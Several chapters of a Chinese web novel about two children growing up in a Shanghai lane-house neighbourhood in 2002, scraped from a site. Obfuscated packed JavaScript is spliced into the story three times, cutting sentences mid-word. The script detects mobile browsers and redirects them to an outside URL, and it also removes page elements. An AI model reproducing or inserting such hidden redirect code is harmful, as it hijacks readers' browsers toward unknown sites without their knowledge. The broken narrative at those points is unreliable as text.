赶在中午开饭前,一大三小四个人按原路回了家。 周骏才眼神好,隔了老远就看到,外婆正站在弄堂口的阴影中摇扇子。 在弄堂里,田书秀讲话太怪里怪气,性格又强势,人缘不好,和左邻右舍都闹过不愉快。 之前,罗英怕田书秀白天和邻居吵架、殃及在家的桑悦,还到处和邻居打招呼道歉。 也因此,田书秀没有太多说得上话的人,哪怕不远处就有俩阿姨坐在一起择菜噶三糊(闲聊),她也没有加入她们,只是一个人站着。 桑悦听到周骏才喊了声“外婆”,立马加快脚步奔过去,一下子扑到田书秀怀里。 她脸上总是笑眯眯的,仰起头,稚声稚气地问:“外婆!侬等阿拉啊?” 见到桑悦,田书秀半耷拉的眼皮往上扯了扯,一贯有些苦相的脸上露出几分笑意来。 “哪能去了嘎多辰光啦?中饭老早烧好嘞。” 桑悦回过头,指了指坠在最后的沈照清,给外婆解释:“我们带沈照清起城隍庙白相了呀!” “城隍庙今早宁多不多?” “还好。” “个么好早点回来了呀。侬看看叫,纳胖哥哥要热死特了。”说着,外婆又牵过了周骏才的手臂,把他拉到前面来,上下打量几圈,“走伐走伐,回起了。衣裳都湿特了。” 桑悦没动,撒开手,转去外公后头找沈照清。 她抓住他的衣摆不让他走,小声问:“沈照清,你妈妈今天又不在家,那你中午吃什么呀?要不要到我家去吃?” 虽然田书秀明明看到了沈照清,却也没发出邀请,但她要是求求外婆的话,说不定外婆会答应的。 最后一句话,桑悦故意说得非常大声:“我外婆做饭老好吃了!” 果然,田书秀听到这话,停下脚步,回头看了看两个小孩,嘴角微微牵动了一下,没什么情绪地开口问道:“侬就是后头搬得来额小人对伐?帮悦悦一道到阿勒屋里响起伐?” (你就是后面楼搬来的小孩吗?和悦悦一起到我们家去吧?) 桑悦用力点点头。 外婆家虽然又小又破,地板开裂,还没有空调,和沈照清家没法比,但她心里还是会期待有朋友能不嫌弃地来玩的。 上海人普遍算不上特别热情好客,田书秀又有点洁癖倾向,极度要干净,地板每天都要蹲着用抹布擦一遍,这种生活习惯下,实在不适合请人到家里来玩。再加上家里没单独的厕所,还在用痰盂,也不好让没血缘关系的朋友一起用,太不方便。 沈照清也住在弄堂里,下个楼穿一条弄堂就能回自己家,不用借用厕所,应该也不会对桑悦外婆家的窘迫情况感到惊讶。 她满怀期待地看向沈照清。 但沈照清无视了桑悦的目光,对着田书秀口齿清晰地回答道:“谢谢侬,我还是回自己家了。” 闻言,桑悦瞪大了眼睛,失声惊讶道:“你居然会讲话!沈照清,原来你不是哑巴呀?” 沈照清:“……” 旁边的周骏才都被桑悦逗乐了,“悦悦侬则戆度啊,人家沈照清刚刚不是还帮外公讲谢谢了吗?侬耳朵聋了?” 桑悦确实一点都没听见。 她太爱说话了,小嘴叭叭叭个不停,还对沈照清保留着“不会说话”的固执印象。再加上城隍庙人多吵闹,压根没注意他说了什么话。 桑悦:“我真的没听见嘛!” 周骏才:“人家是不想帮你讲话啦。侬老烦了。” 桑悦被他气得脸红,“哼”一声,也不睬他们了,扭头兀自跑进了楼里,把所有人都抛在身后。 最终,沈照清还是没上桑悦家吃饭。 桑悦也好几天没去找他,每天都懒懒散散地躺在家里吹电扇看电视。罗英已经把《还珠格格2》的VCD碟片借来,顺带还借了套阮丹宁版的《上官婉儿》来。这个剧之前桑悦已经看过几遍了,但还想再看,就又让罗英借了一次。 外公和周骏才坐在地上打牌的时候,她就拉着外婆一起看电视,哪里都不去。 一想到自己被沈照清骗了那么些日子,桑悦简直气不打一处来,只觉得自己被朋友背叛,还因此被周骏才嘲笑笨蛋,真是一辈子都不想理他了。 …… 上海是沿海城市,空气湿度高,一年四季都是会下雨的,包括夏天。 七月中旬,一场暴雨来袭,冲散了几分酷热。 桑悦松动了半个来月的牙齿,有了自然掉落的迹象。 她偷偷用手打圈一样摇了几天,终于自己把那颗牙给弄了下来,没用上罗英的暴力线拔法。 晚饭过后,田书秀知道了这个好消息,拉过桑悦的脑袋,眯起眼,盯着她换牙掉下来的那颗牙洞看了好一会儿,确认牙齿是一整个人完整地下来、没有少一块在里面之后,才让她去把牙扔了。 “下面的牙要往房顶上面丢,换牙以后才能长得齐咧!” 桑悦之前也被叮嘱过这回事,熟练地点点头,握着那颗牙出门跑下楼去。 她家是整条弄堂里最高的楼,隔壁石库门里房子大多只有两楼,就算各家自己搭了阁楼,从外婆家的窗户看出去,也没有比她们高的房子。 既然要往上扔,就得到楼下去扔。 夏夜雨后的八点半,弄堂里时不时有一阵阵的穿堂风吹过,很是清凉舒服。 不知道哪户人家在家里搓麻将,麻将牌互相碰撞,“哗啦哗啦”地作响,声音从房门窗户的缝隙里飘出来,再加上弄堂里打牌下棋的爷叔们各自吵吵嚷嚷,混杂在一起,热闹得不得了。 这是小桑悦记忆中每个夏天的味道,潮湿又温柔。 她心情很好,蹦蹦跳跳地往里走了一段,再转进没人的角落,看准屋顶的黑色瓦片,跳起来奋力往上一扔—— 路灯在外面,这个位置的光线不够明亮,小小的一颗牙脱手,立马就不知道飞到了哪里去,不知道是顺利扔到了屋顶上,还是中途就掉了下去。 不过这也就是一种习俗,做了就当是完成了。 桑悦拍拍手,确信自己之后新长出来的牙一定会非常整齐。 因为这个好消息,她决定大方一点,主动去找好几天没见的沈照清和解,顺便再问问他《四驱兄弟》的剧情播到哪里了,阿吉的四驱车修好了没有。 这会儿,沈照清家的石库门大敞着。 桑悦轻轻松松就窜了进去。 门里的巷子小而窄,总体来说略显逼仄,不比外头的弄堂那样清爽,路灯光线也要昏暗许多。 沈照清家门口对面的空地上,有两个阿姨坐在屋檐下噶三糊。 桑悦过去的时候,好巧不巧,沈照清拎着一袋垃圾,开门走出来。 那俩阿姨先看到了沈照清,立马笑着开口喊他:“清清啊,噢哟,噶晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看到难得的朋友如此,桑悦心中立刻生出许多的勇气来。 她三两步跑上前去,身体挡在沈照清面前,冲着那两个有点脸熟的阿姨大声说道:“你们瞎讲!沈照清现在这样就很好!他爸爸妈妈才不会因为他不说话就不要他!” 刚刚说话的阿姨看到冲出来的桑悦,愣了一下,“……是罗家的悦悦啊。这么晚了,侬哪能一个人跑到这里来了啦?” 桑悦不许她转移话题:“阿姨,你不能这样说沈照清,你现在应该要向沈照清道歉!” 听到她这般义正言辞的语气,那俩阿姨“哼哼哼”地用鼻孔大笑起来。 “你们俩这么快就认识了啊。噢哟,悦悦,阿姨又没有瞎说了,你不信去问你外婆你阿姨,清清爸爸妈妈是在准备离婚了呀。弄堂里大家都知道的咯。侬小孩子,不懂的。” 桑悦气得脸都红了。 但一想到沈照清也能听到这些话,只会更生气,她立马转过身,双手用力捂住了沈照清的耳朵,不让他继续听。 “……” 沈照清还没反应过来,眨眼间,先闻到了桑悦身上立白洗衣粉的味道。 香香的,很好闻,就近在咫尺。 他眨了眨眼,一动不动,只探究般盯着她的脸看。 桑悦没有注意到他的眼神,只是扭着脸,用一个很别扭的姿势,同那俩嘴巴很烦的阿姨争论不休。 但她不知道,用手掌捂耳朵,中间空隙太大,再用力也是堵不住声音的。 很快,沈照清听到了她的话,从风里偷偷溜到他耳朵里,一下一下敲击着鼓膜。 桑悦说:“如果他爸妈离婚了不要他,那是他爸妈不好,沈照清很好的!我要他的!才不是没人要他!阿姨,你们以后不要这么说他了。不要欺负我们小孩子。” 5. 05 桑悦仗义执言替沈照清出头、和大人吵架的事情,飞快传遍了弄堂。 那几天,罗英上下班进出,都能碰到弄堂里的邻居跟她开玩笑:“你家悦悦嘴皮子很厉害的。蛮好的,像你。” 在田书秀的五个女儿里,罗英其实算不上多会吵架,只是因为她们五姐妹都是厉害人,田书秀自己也凶,家里有事没事儿就开始拌嘴,像一千只鸭子在吵架,非得用嗓门压过别人才行。 长此以往,罗家姐妹们也渐渐地开始名声在外。 邻居表面客客气气,私下都知道她们一家人的厉害,干什么都是绝对不能吃一点亏的。 罗英听了邻居对桑悦半夸半损的表扬,表面上笑笑,跟着一起说了几句她“年纪小不懂事”的客套话,回到家后,立马把桑悦拉来教训了一顿。 “桑悦,谁允许你晚上一个人溜出去玩的?还敢跟别人吵架,你不怕人家请侬吃耳光啊?” 罗英工作的发电厂距离市中心很远,但有厂车每天接送员工上下班,主要线路是往返他们厂和员工福利分房那个小区之间,其他路线很少。她和桑悦一起住在田书秀家,厂里分的房子在杨浦,平时只有桑悦爸爸一个人住着。 所以,如果要去搭最近厂车,过去还得走个二十来分钟。罗英得早上六点半就出门,晚上将近六点半才能到家,每天有差不多12个小时都不在家。 她生怕田书秀和邻居拌嘴,到时候影响桑悦。 万一碰到个极端的,吵架上头,家里白天只有老人小孩,人家拿把刀冲进来,一点办法都没。 当然,桑悦自己和人吵架,那也是绝对不能允许的。她那么小个萝卜头,被人抱走卖了该怎么办? 但桑悦年纪太小了,一点都不能理解这些内情,只是气鼓鼓地跟她顶嘴:“我没有吵架啊,我是让她们不要那样讲!妈妈,你都不知道,沈照清都快要被她们说哭了……” 罗英简直被她气笑了,“大人开几句玩笑而已,怎么就要哭了呢?再说了,人家自己也有妈妈啊,他要是受委屈,他妈妈会帮他出头的,要侬去组撒?” 桑悦也有自己的道理,她说:“可是,三阿姨和姨夫吵架,你不是老去帮忙吗?” 桑悦口中的三阿姨就是罗芬,也就是周骏才的亲妈。 罗芬早年和周骏才他爸自由恋爱,甜甜蜜蜜了一阵之后才发现他爸有精神病,喝多了就打老婆儿子,还威胁说如果离婚,就把她们一家全杀了,反正精神病杀人不犯法之类的浑话。 家里人怕罗芬被打,也怕他真的发病,夫妻俩吵起架来,家里难免要找人去做调解员。 罗英:“你三阿姨是自家人!我不帮忙怎么办?!” 桑悦:“可沈照清是我的朋友,也是自己人,所以我也要帮忙呀。” “……” 罗英气结。 最终,还是贺云皎在旁边打圆场:“好了好了,悦悦过来看电脑了。” 桑悦立马就笑起来,“姐,你要玩《模拟人生》了吗?好耶!” 去年,贺云皎为了找工作,她妈罗莉花重金给她买了台电脑。 这年头,国内各种品牌机还未普及,电脑是找了贺云皎同学帮忙买配件组装的,前前后后花了将近六千块,算是一笔巨款了。 家里人怕小孩把电脑玩坏,平时除了贺云皎自己,谁都不让碰。 桑悦和周骏才想玩也没办法,只能等贺云皎回来之后,才能凑在旁边看她用。 后来贺云皎找了个特别好的工作,不需要再用电脑投简历,再加上拨号上网不便宜,这个大家伙就成了她玩单机游戏和看剧的工具。 家里只有VCD机,只能看罗英从单位借来的那些VCD碟,但电脑可以放DVD,有更多更新的剧可以选择。而且,碟片在南京路上的音像店就有卖,很方便,也不贵。 桑悦跟着贺云皎一起看完了《流星花园》,又跟着看她玩《模拟人生》,每天在游戏里建房子,还会有小人在里面生活。 她觉得很新奇,一分钟都不愿意错过,连睡觉都比平时晚了很多。 所以,贺云皎一喊,桑悦也不管她妈了,立马跟着姐姐一起窝到了放着电脑的角落里。 结果,屁股还没坐热,外头传来了周骏才的声音。 “桑悦!你朋友来寻侬白相了!衣服穿穿好噢!” 桑悦:“……” 夏天为了通风,弄堂里很多人家都是房门大敞的。 外婆家在四楼最里面,平时也就隔壁邻居会走过来,他们当然也是不关门的,好让穿堂风吹进来,室内凉快一点。 周骏才人还在很远的地方,但这么一嗓子,声音已经顺着走廊清清楚楚地传到桑悦耳朵里。 桑悦还是小孩,没那么讲究,有时候田书秀就让她穿个短了一截的小睡裙,坐在凉席上看电视。 舒服是舒服,风凉也风凉,但如果要见外人,那是绝对不合适的。 她低头看了看自己,很巧,今天穿的是短袖短裤,好像没什么不好。 没一会儿,李觅带着沈照清,出现在门口。 李觅敲了敲门,很客气地问道:“不好意思,这里是桑悦家吗?” 田书秀她们几个人都在看电视,听到动静,齐齐看向门边。 “侬好,侬……” “哦,我是沈照清的妈妈,李觅。” 李觅是来道谢的。她也从邻居的七嘴八舌里,听说了桑悦的事迹。 当然,会找上门来,必然有沈照清本人的意愿在里面。 听李觅这么自我介绍过后,在场几个大人皆是面面相觑。 最后,还是罗英接待了她。 “侬好侬好,沈照清妈妈,你们是之前新搬来的吧?一直也没碰上面,今天才认识。我是桑悦妈妈。” 罗英生孩子生得晚,今年都四十四还多了,比李觅要大了将近十五岁。但她的容貌和身形都遗传到了桑悦外公,脸小五官立体,个子也是又高又瘦,穿一身随随便便的旧衣服也蛮有气质,完全不显年龄。 两人客气地寒暄了几句,李觅又将拎上来的两盒丹麦蓝罐曲奇、还有一罐子瑞士糖拿给旁边的桑悦后,这才说出来意:“桑悦妈妈,很不好意思开口的。其实是这样,我平时工作忙,一直不在家,看两个孩子又玩得来,暑假能不能让我家沈照清中午跟着你们搭个伙?不知道会不会太麻烦了……” 说着,她从包里拿出一个信封,塞到罗英手上。 罗英愣了愣,“这……” 李觅:“吃饭不方便也没关系,或者下午让沈照清跟着悦悦玩,悦悦到我们家里去玩也可以的,家里什么吃的玩的都有。我们俩搬过来之后,悦悦一直很关照清清的,这也是我的一点点心意,你们一定要收下。” 闻言,罗英连忙推开她塞过来的信封,解释说:“其实平时我不在家的,都是桑悦的外婆在管她。” 她不好替田书秀接这个活,虽然是个孩子,但是多管一个人的饭,总归是麻烦的。收了人家的钱,也不能太敷衍。 但田书秀刚刚已经避出去,到公共厨房那边洗衣服去了,人不在屋子里。 罗枚倒是在。 因为有客人过来,家里没人继续看电视,她自说自话地把电视调到了戏曲频道,一边看一边听李觅和罗英说话。 李觅又拜托了两句,罗英一直没有松口。还是罗枚帮腔了几句:“钱就算了,孩子平常来玩玩没撒关系。” 罗枚是五姐妹里唯一没有结婚的,一直跟着田书秀。 她特别喜欢孩子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172610|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺云皎、周骏才、桑悦他们仨小时候送到外婆这里,她都帮着抱过不少日子。 李觅听她这么说,连忙道谢:“谢谢谢谢,我也知道很麻烦你们的,实在是不好意思开口,唉……” 桑悦难得全程没有插嘴。 沈照清进门之后,她就像个小大人一样,很有主人翁意识,领着他到沙发上坐下,又去冰箱里拿冷饮。 沈照清是她第一个到外婆家来玩的朋友呢。 对桑悦来说,实在称得上意义非凡。 外婆家人多,还有周骏才这个大胃王小胖子在,夏天冷饮消耗得特别快。外公上周刚去批发的两箱,到今天,只剩五六根盐水棒冰了。 没有挑选余地,桑悦只能随手摸了两根,回到沙发边,递了一个给沈照清,有些紧张地观察他的神情。 令人高兴的是,沈照清低声道了句谢,就爽气地接过了棒冰。 从进门开始,他既没有眼神乱转、四处打量,也没有露出一丝一毫的诧异和嫌弃,一直乖乖坐在桑悦家这个里头弹簧都快要坏掉的破沙发上,是桑悦心中完美的客人、完美的小伙伴。 于是,她喜滋滋地坐到沈照清旁边,催促他:“沈照清,你也吃呀!你不热吗?” “还好。” 说完,沈照清拆了自己手中的冷饮。 盐水棒冰的包装纸是那种有点单薄的材质,稍微碰一下,就会发出“西索西索”的声音。 两个孩子就这样欢欢喜喜地靠在一起,有一口没一口地抿着半透明的棒冰。 不过,这批发价六毛一根的盐水棒冰,好像比平时舔起来更好吃。 “沈照清,你下次还会来我家玩吗?” “如果你外婆同意的话。” …… 等沈照清母子俩离开后,罗英和田书秀商量了一会儿,还是勉强答应了李觅的请求。 一起吃午饭是比较麻烦,帮忙带一下沈照清倒是问题不大。反正桑悦和周骏才都在,让几个孩子在一起玩就行。 到底距离一年级开学也只有一个月多点,罗英想着,能让桑悦有个玩伴也可以,沈照清看起来文文静静的,以后如果一起上学,能看着桑悦少惹是生非就最好了。 睡觉前,罗英嘱咐桑悦,让她明天把那两盒曲奇和那罐糖送回沈照清家里去。 “收人家那么贵的礼,不好。” 2002年,丹麦蓝罐曲奇是上海人眼里的进口货,价格不便宜,平常家里不会经常买。桑悦上一回吃,还是罗英最小的妹妹、罗敏从国外回来探亲的时候,带回来一盒分给他们的。 罗英和田书秀都是极度要面子的人,虽然节省,但从来不肯占人家便宜,也不会贪图李觅这点礼。 桑悦还不太明白这种人情往来的意义,白天依言把曲奇和糖送了回去,沈照清却当场打开了一盒,示意她在这里吃。 桑悦眼睛亮起来,想伸手,却还是犹豫地问道:“可以吃吗?不用问问你妈妈吗?” 沈照清:“不用。你吃。” 说着,他打开了空调,又打开了电视,顺手把遥控器给了她。 有这两样神器在,桑悦硬生生在他家赖到了傍晚才走。 “桑悦,你明天还会来玩吗?” “没事的话就会的呀。怎么了?” “那你能不能早点来?” 桑悦笑起来,跺了跺脚,将鞋穿好,直起身,同沈照清说:“你一个人在家害怕吗?我外婆说了呀,你可以到我家来找我的。我们还能和胖哥哥一起打牌呢。” 沈照清紧跟上话:“那我明天一早就来找你。” 桑悦:“好啊。明早再会哦。” 她朝着沈照清挥挥手,头发一跳一跳,跃入了石库门外那抹橙红的夕阳中。 6. 06 弄堂里多了一个沈照清,桑悦原本悠长无聊的假期变得生动起来。 李觅不知道在忙什么,无论工作日还是周末,大部分时间都不在家,居然能把年仅7岁的小孩长期一个人放在家里,让沈照清自己管自己。 但有了田书秀的默认,他成功变成了桑悦家的编外成员。 天气热的时候,桑悦呆在沈照清家,跟他一起坐着看电视吹空调。有时候周骏才也会一起,就让他去沈照清房间里玩电脑。 直到这时候,桑悦才知道,沈照清家也有电脑。只是没放在外面,所以她一直没看到。 而且,沈照清居然拥有自主开机权。 李觅好像完全不怕他弄坏机器。 但因为没有模拟人生的装机光盘,桑悦还是对电视台里放的动画片兴趣比较大。倒是周骏才,在沈照清的允许下,往他电脑里装了7月刚刚面世的新游戏《魔兽争霸3》,时不时就过来打上两局。 等到傍晚,太阳落山,周骏才跟外公出门遛弯,桑悦不想动,就带着沈照清一起坐在弄堂里吹风吃冷饮,顺便给他说一些自己想说的废话,强迫他做听众,也不用回应。 桑悦没零花钱,冷饮都是从家里顺出来的,免不了被外婆说几句,但她却丝毫不吝于分享给沈照清。 几次之后,沈照清家的冰箱里也开始出现冷饮。 像娃娃头、绿舌头、火炬之类的,都是桑悦喜欢的口味,满满当当装了大半个冷冻,好像永远吃不完一样。 周末,周骏才会被罗芬接回自己在杨浦的家里去,和父母一起过休息日,剩下桑悦和沈照清俩小萝卜头,依旧在弄堂里晃荡。 八月下,上海已经出伏,晚上没之前那么热了。 晚饭时间过后,桑悦带着沈照清到了外婆家那栋楼。 他们这楼的二楼没有人家,一整层楼都是做那种小宾馆用的,地段虽好,但楼太破,往常好像没有什么住客。宾馆门口是个半敞开的平台,顺着楼梯方向望出去,能看到永和豆浆的厨房后门。 平台上放了几个纳凉用的小板凳,还有个半旧躺椅,桑悦和沈照清就坐在板凳上吃蝴蝶酥。 蝴蝶酥是罗枚从国际饭店顺路买回来的。 昨天逸夫舞台有越剧演出,上海戏剧团来表演,她看完之后绕了一下路,跑去买了一袋蝴蝶酥,还为此被罗英说了一顿,说浪费钱。 罗英她们单位有食堂,里头做的西点又便宜又好吃,比国际饭店这种噱头实惠得多。 姐妹俩吵了两句嘴,这蝴蝶酥就一时半会儿没人去动。 桑悦不想看着她们把吃的放到过期、再为了不浪费硬吃下去,干脆拿出来和沈照清分了。 罗枚是越剧迷,从早期的徐玉兰王文娟一直追到两人的徒弟钱惠丽单仰萍,但凡能拿到票的场次都不能错过。平常她在家里也爱听戏,家里的VCD就是她买来放越剧《红楼梦》和《西厢记》的,桑悦听得耳朵起茧,现在都能哼哼两句“天上掉下个林妹妹”,虽然不知道具体是什么意思,只是依样画葫芦地唱。 四下没人,桑悦擦了擦嘴,假模假样地起了个范,给沈照清唱:“天上掉下个林妹妹,似一朵轻云刚出岫。只道他腹内草莽人轻浮,却原来骨格清奇非俗流……” 小女孩嗓音稚嫩,但气短又没音准,把好好的几句越剧唱词唱得稀奇古怪。 沈照清没笑,只是默默看着她。 桑悦:“沈照清,你怎么不点评一下?” 沈照清:“还可以。” 桑悦的眼睛立刻弯成月牙,叠声追问道:“真的吗?你可是第一个夸我的人,我妈老说我唱歌五音不全,难听得像念经。哼。” 偏偏她连念经都念不准音调。田书秀在阁楼上藏了不少佛经的磁带碟片,每天都要念,桑悦跟着全都看过听过,但至今唱大悲咒都还唱不好。 沈照清没什么表情,小幅度点点头,再次回答她:“真的。” 桑悦很容易就会相信别人说的话,对这个年纪的小孩来说,语言是最简单的输入输出,不包含任何潜台词,无论别人说好与不好,在进入她耳朵的那一瞬间就已经确定了。 所以,她很容易被安抚好,笑嘻嘻地又掰了一大块蝴蝶酥给沈照清,顺便问他:“明天周末了,你妈妈还是不在家休息吗?个么要不要跟我和我妈一起去外滩玩呀?” 闻言,沈照清毫不犹豫地答应:“去。” 桑悦:“好呀!那我早上来叫你哦!” …… 次日一早,还是沈照清先起床,收拾好自己之后,上桑悦外婆家来敲门。 桑悦没料到他来得这么早。 家里还有其他人没起床,像贺云皎和罗枚,都还在阁楼上睡觉,随时就有可能下楼。家里有个陌生男孩,虽然是小孩,到底也不方便。罗英就让桑悦先带人出去。 桑悦想了想,拖着沈照清去走廊尽头的公共大厨房,拿了个红色塑料凳给他,让他坐在外婆家的煤气灶边,陪自己洗脸刷牙。 比起六月那会儿,桑悦的头发已经长长了一些,但又还没到能梳辫子的长度。 罗英给她把前面的刘海连同头顶那撮头发一起扎起来,扎了个小揪揪,翘在脑袋上。 视线是不遮了,也没全盖着头那么热了,但头脸整体看起来更像苹果了,还是有苹果蒂的、一颗完整的苹果,圆溜溜水灵灵的。 沈照清盯着那个小揪揪看了半天,在她拧毛巾的时候问:“要不要帮你?” 桑悦:“什么?……哦,你说这个毛巾啊,不用,我拧得干。” 之前都是外婆帮她拧的,但罗英说她马上就要去上小学,早上不一定有时间等别人来帮忙,让她自己先拧着适应适应,以免迟到。 反正天气热,毛巾半干不干的也没事。 毛巾在她手中前后左右转了好几圈,终于不再滴水。桑悦把它盖到脸上,胡乱蹭了一遍。 “……好了好了,我洗好了。沈照清你别急,等我吃个早饭阿拉就出发。啊,你吃了吗?” 沈照清点头,“吃了。” 他家有一大堆饼干,牛奶也不缺,早饭很好解决。 桑悦家的早饭差不多也是这种配置,牛奶饼干或者牛奶面包或者麦片饼干,如果前一天家里买了别的点心,那就替换掉饼干。 她家虽然是老上海,但家里人人都挑剔,路边摊的大饼油条不吃,几乎都是更爱吃西点,或是罗英从单位食堂买回来的那些海派点心,例如“椒盐鞋底板”、牛乳酥之类的,在细枝末节的地方很小资洋派。 整个家里,唯独外公爱喝豆浆吃小笼,吃不惯洋人口味,就自己一个人去楼下的永和豆浆吃,独来独往的,不怎么和一屋子女人一起。 因为沈照清在旁边等着,桑悦飞快地从小菜厨(放菜的柜子)里拿了包康元手指饼干,抓了一把给他,又抓了一把塞进自己嘴里,蛋奶星星也不配了,直接拿纯牛奶灌了一起咽下去。 她用餐巾纸擦了擦嘴,大喊一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172611|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声:“妈妈!阿拉好嘞!” 罗英还在窗边晾衣服。 外婆家没有阳台,但老上海人也不需要阳台,都用窗户外装着的“龙门架”晾衣服。 今天天气好,罗英把晾衣杆撑出去,夏天的衣服裤子吹吹风晒晒太阳,晚上就能干。等家里收拾停当,她和田书秀打过招呼,领着两个孩子出门。 弄堂靠近桑悦家的这个出口在河南路上,走到外滩江边大概十五分钟左右。 周末,路上游客比工作日多,但也不至于人挤人。 桑悦牵着罗英的手,叽叽喳喳地说话,全程没停下过。 而且,她还有个坏毛病,路过什么店都说想要,这也要那也要,哪怕压根不知道卖的是什么。和外婆外公出门不敢提要求,和妈妈出门就瞬间原型毕露。 罗英快被她烦死,喊她“闭嘴”,立马转头去和沈照清说话。 “……清清,侬帮悦悦一样大对伐?个么再过几天也要读小学了咯?去读哪个学校啦?” 2002年,上海已经慢慢开始有了学区房的概念。 像外婆家所在的黄浦区,就是最好的区,好学校不少,但学生少,中考难度比别的区小不少。 罗英对桑悦没有特别大的要求,主要还是想让她能健康快乐长大,念书差不多就行,没有让她从幼儿园就开始学英语,也没有费劲给她找离家远、口碑好的小学,就在附近两所里挑了挑,选了又近又相对还可以的北京路小学。 桑悦的户口是挂在外婆家的,北京路小学是学籍对口学校,直接就能上。 沈照清才刚搬过来两个月,家里具体是什么情况都还是捕风捉影的流言,罗英不清楚他的户口在哪里,也只是随口一问。 沈照清乖乖回答道:“我妈妈说去应昌期。” 应昌期就是备选里除了北小之外的另一所,距离弄堂也不远,全名应昌期围棋学校,是小学初中九年一贯制学校。 李觅出于沈照清性格的考虑,觉得自己儿子又闷又静,做事专注还耐得住性子,干脆把他送去学围棋。不指望学到多专业,多个特长也可以。 她这两个月一直在忙离婚的事情,也没有空闲从长计议,直接替沈照清做了主。 听沈照清这么说,罗英还没回答,旁边的桑悦先长长地“啊——”了一声。 她表情生动,难掩失落,“你去应昌期啊,那我们不能一起上学了怎么办?” 沈照清:“……” 桑悦觉得,不能和小伙伴一起上学放学,就代表她还有可能一个人走,或者由罗枚来接送她。她和罗枚没什么话题可聊的,她不爱听戏,也不爱听弄堂邻居间的新闻,很没劲。 这件事对她的冲击,比她不小心弄丢了《上官婉儿》的碟片,还来得令人伤心。 桑悦耷拉着脸,嘟嘟囔囔地对沈照清说:“我不想和你分开。” …… 2002年,上海的天很蓝,空气很好,黄浦江边的堤坝还没有加高,城市里一派欣欣向荣的风貌。小孩子的快乐和难过也都很简单。 人生中第一次分别骤然来临。 桑悦整整低落了三天。 在小学开学前那一周,突如其来,沈照清第三次来到桑悦外婆家。 他没有进门,只是直直站在门口的走廊上,等着桑悦赤着脚从沙发上跳下来,“哒哒哒”跑向他。 等她到了面前,他飞快开口:“我转到北小了。桑悦,下周我们一起上学。” 7. 07 从外滩回到家,沈照清立刻拿起有线电话,打给李觅的号码。 2002年,第一款彩屏拍照手机已然面世,但普通人家压根不会花几千块去买这个。李觅还在用诺基亚8850,都算是手机比较早的一批用户了。 电话接通后,沈照清单刀直入:“妈,我要去上北小。” 李觅时常觉得亏欠沈照清良多,所以,为了儿子难得提出的一个要求,她立刻从一团乱麻的琐事和工作中抽出身来,给他去想办法换学校。 幸好,这年头换学校没后来那么难,只稍微奔波了几天,就让沈照清能顺利插进北京路小学去念一年级。 8月30号早上,田书秀领着桑悦和沈照清一起去学校报道。 很不巧,因为沈照清是招生结束才把档案转过去的,只能插到这届最后一个班,小一4班去。桑悦则是在一班。但两个班都是平行班,教室也是对门,平时除了上课之外,还是能一起。 1号是周日,学校9月2号正式开学,两人成了光荣的小学生。 桑悦在班上碰到了好几个幼儿园同学。 本来就是小学校,生源大多是住在附近的孩子,碰到一起很正常。 她性格开朗,很快就以座位为圆心,排队出操的队伍为半径,和周围一圈人混熟。 其中,桑悦关系最好的是方圆和宋书豪。 方圆住在宁波路,她爸爸是桑悦大姨罗莉的同事,两人在幼儿园就是一个班,大班毕业前因为一些小事吵了两句嘴,加上方圆暑假跟着她妈一起去外婆家住,没在家附近活动,又没手机,就断了联系。 这回开学分到一个班,还坐在前后排,两个小姑娘别别扭扭地说了几句话,光速修复了友情。 宋书豪则是桑悦的同桌,一年级就戴上了眼镜,是班里少见的这么早戴眼镜的小孩。据他自己说,这眼镜是用来矫正视力的,不是单纯的近视镜,很贵的,必须得小心。 桑悦不懂怎么矫正,拿来研究了一会儿,觉得和罗枚的眼镜没什么差别,都是镜架镜框和两块玻璃片,很快就失去了兴趣。 她把眼镜还给宋书豪,转而侧过身,问起其他事:“宋书豪,方圆,你们兴趣课选什么呀?” 学校有校内兴趣拓展课,安排在每周三下午最后一节,每个年级有不同的项目可以选。一年级年纪太小,选择余地不太大。 宋书豪没怎么犹豫:“合唱吧。” 方圆:“我还没想好,反正下周再报名,还能再想想。桑悦你呢?” 桑悦说:“我想学国际象棋。但也想选合唱。” 她喜欢听歌,对唱歌很有兴趣,哪怕罗英说她五音不全,也无法打消这种兴趣。 但家里有一套少了几个棋子的国际象棋,外公有时候会拿出来教他们下,她学了一点,感觉也蛮好玩的。 对小桑悦来说,这个世界只有“好玩”与“不好玩”之分。她当然更喜欢好玩的人和事。 放学之后,桑悦又去问了沈照清。 一年级小学生是按照班级排队放学,班主任让他们两人两人拉着手走,出校门前要点人数。 4班最后一节体育课,比1班先走。 沈照清先找到了田书秀,小声叫了句“外婆”,乖乖站在她旁边等着。 很快,1班下楼,齐声喊完“老师再见”,各自做鸟兽散。 桑悦也看到了田书秀和沈照清,松开了旁边宋书豪的手,飞快跑向两人。 “外婆!沈照清!” 沈照清没说话,默默往前两步,第一次主动牵住了桑悦。 桑悦一点都没察觉他的反常,只是任凭他抓着,眼睛亮晶晶地看向外婆,问出她每天最关心的问题:“外婆,今早夜到切啥?(今天晚上吃什么?)” 田书秀:“切饭。” 